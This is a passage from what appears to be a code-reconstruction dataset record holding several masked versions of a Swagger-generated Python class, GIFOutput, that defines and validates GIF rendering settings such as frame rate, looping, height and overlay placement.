\"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n <mask token>\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-2": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n <mask token>\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-3": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-4": "<mask token>\n\n\nclass GIFOutput(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {'gif_fps': 'float', 'color_depth': 'float', 'gif_loop':\n 'int', 'height': 'float', 'start': 'float', 'duration': 'float',\n 'suffix': 'str', 'overlay': 'str', 'overlay_alignment': 'list[str]',\n 'overlay_scale': 'str', 'label': 'str'}\n attribute_map = {'gif_fps': 'gif_fps', 'color_depth': 'color_depth',\n 'gif_loop': 'gif_loop', 'height': 'height', 'start': 'start',\n 'duration': 'duration', 'suffix': 'suffix', 'overlay': 'overlay',\n 'overlay_alignment': 'overlay_alignment', 'overlay_scale':\n 'overlay_scale', 'label': 'label'}\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def 